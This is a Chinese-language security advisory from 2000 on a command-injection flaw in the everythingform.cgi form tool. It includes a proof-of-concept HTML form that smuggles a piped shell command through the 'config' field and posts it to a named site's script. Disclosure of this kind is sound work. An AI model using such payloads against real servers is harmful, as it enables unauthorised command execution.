Leif M. Wright everythingform.cgi存在任意命令可以执行漏洞发布时间：2000-12-14 更新时间：2000-12-14 严重程度：高 威胁程度：普通用户访问权限 错误类型：输入验证错误 利用方式：服务器模式 受影响系统 Leif M. Wright everythingform.cgi 2.0详细描述 Leif M. Wright's everything.cgi是一个表单设计工具存在一个输入效验问题， 脚本没有正确的过滤用户输入的'config'栏中的SHELL命令字符，结果导致 可以以WEB的权利执行任意命令。 测试代码 : <form action="http://www.conservatives.net/someplace/everythingform.cgi" method=POST> <h1>everythingform.cgi exploit</h1> Command: <input type=text name=config value="../../../../../../../../bin/ping -c 5 www.foobar.com|"> <input type=hidden name=Name value="expletive deleted"> <input type=hidden name="e-mail" value="foo@bar.net"> <input type=hidden name=FavoriteColor value=Black> <input type=submit value=run> </form> 解决方案 尚无 相关信息 |
